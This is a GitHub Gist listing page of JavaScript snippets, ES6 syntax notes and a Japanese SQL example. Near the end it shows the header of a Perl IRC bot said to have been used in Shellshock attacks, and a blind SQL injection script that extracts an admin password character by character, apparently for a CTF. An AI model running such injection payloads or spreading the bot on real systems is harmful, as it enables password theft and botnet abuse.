Skip to content

Instantly share code, notes, and snippets.

var table = document.querySelectorAll('table')[0];
var links = Array.prototype.map.call(table.querySelectorAll('a'), function(a) {return a.href});
var timer = window.setInterval(function() {
document.body.innerHTML = "<img src='"+links[parseInt(Math.random()*links.length)]+"'>";
}, 10000);
create table 学生 (学生番号, 学生名, 都市, 年齢);
insert into 学生 values
('S1', '山田', '京都', 19),
('S2', '鈴木', '大阪', 20),
('S3', '小島', '奈良', 22),
('S4', '武田', '京都', 18),
('S5', '高木', '神戸', 21);
create table 科目 (科目番号, 科目名, 先生, 単位数);
insert into 科目 values
('J1', 'データベース', '田中', 4),
@tyage
tyage / gist:49ef207b35f7dc31532c
Last active August 29, 2015 14:04
画像を表示する
Array.prototype.forEach.call(document.getElementsByTagName('a'), function(i) {i.innerHTML = '<img src="'+i.href+'">'})
// executed by traceur 0.0.59
// basic
[this.a, b] = [1, 2]
console.log(this.a, b) // => 1 2
var {a, b: [c], d: d} = {a: 1, b: [2], d: 3}
console.log(a, c, d) // => 1 2 3
var [a, , {b: c}, d] = [1, 3, {b: 2}]
console.log(a, c, d) // => 1 2 undefined
// parameter
@tyage
tyage / string.js
Last active August 29, 2015 14:06
// String.raw
console.log(`foo\n`) // foo
console.log(String.raw`foo\n`) // foo\n
console.log(`foo\n`.length) // 4
console.log(String.raw`foo\n`.length) // 5
console.log(String.raw`foo${1+2}`) // foo3
console.log(`\x31`) // 1
console.log(String.raw`\x31`) // \x31
console.log(String.raw({ raw: ["a", "b", "c"] }, 0, 1, 2, 3)) // => a0b1c
@tyage
tyage / perlbot.pl
Created September 28, 2014 05:53
shellshockで使われてたやつ
#!/usr/bin/perl
####################################################################################################################
####################################################################################################################
## perlBot v1.02012 By unknown @unknown ## [ Help ] ####################################
## Stealth MultiFunctional IrcBot Writen in Perl #####################################################
## Teste on every system with PERL instlled ## !x @system ##
## ## !x @version ##
## This is a free program used on your own risk. ## !x @channel ##
## Created for educational purpose only. ## !x @flood ##
## I'm not responsible for the illegal use of this program. ## !x @utils
// n秒経ったらresolve
var delay = function(second) {
return new Promise(function(resolve, reject) {
setTimeout(function() {
resolve(second)
}, 1000 * second)
})
}
delay(2).then(function(n) {
console.log(n)
@tyage
tyage / gist:4d8146d768d9fda09777
Created October 17, 2014 04:39
github上でファイル内容のみ表示する
var file = $('.file').css({ margin: 0 })
$('body').empty()
file.appendTo('body')
$('.meta').remove()
// normal generator
function* gen() {
yield 2;
yield 3;
}
gen2 = function* () {}
a = gen()
for (b of a) {
console.log(b)
}
var send = function(pos, text) {
var xhr = new XMLHttpRequest()
xhr.open('get', '/?name=' + encodeURIComponent("' union select '', '' from (select * from user where name = 'admin') as a where hex(substring(a.passwd,"+ pos +",1)) = '" + text))
xhr.addEventListener('load', function() {
if (/A new password was generated and sent to your email address/.test(xhr.responseText)) {
var char = String.fromCharCode(parseInt(text, 16))
console.log(char)
flag.push(char)
next(pos + 1)
}